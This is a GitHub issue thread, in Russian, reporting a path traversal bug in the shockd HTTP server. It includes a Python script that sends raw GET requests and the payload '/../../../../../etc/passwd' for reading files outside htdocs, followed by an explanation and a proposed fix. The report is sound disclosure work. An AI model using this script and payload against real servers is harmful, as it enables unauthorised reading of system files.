MrOnlineCoder/shockd

Чтение файлов вне htdocs

Closed this issue · 4 comments

Вот, например, как можно прочитать /etc/passwd у меня в системе, с учетом что wd:~/src/build-a-Desktop-Debug
screenshot from 2017-02-02 205854

#!/usr/bin/python
import socket
import sys
def GET(host, path, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0.30)
    s.connect((host, port))
    s.send("GET %s HTTP/1.0\r\n" % (path))
    total_data = []
    while True:
        data = s.recv(8192)
        if (len(data)>0):
            total_data.append(data)
        else:
            break
    print ''.join(total_data)
    s.shutdown(1)
    s.close()
GET(sys.argv[1], sys.argv[2], 3006)

Сервер отправляет файлы только с папки htdocs.

Нет, если использовать скрипт из моего предыдущего поста, то можно обойти это ограничение.

Не заметил
Есть идеи как исправить?

Допустим, файлы берутся из /home/user/src/build-a-Desktop-Debug/htdocs
При запросе GET /../../../../../etc/passwd, путь к файлу, который будет загружать сервер:
/home/user/src/build-a-Desktop-Debug/htdocs/../../../../../etc/passwd
.. - родительская директория, т.е. на уровне файловой системы, останется только
/etc/passwd

Решение простое: в запросе, в пути, не должно быть /..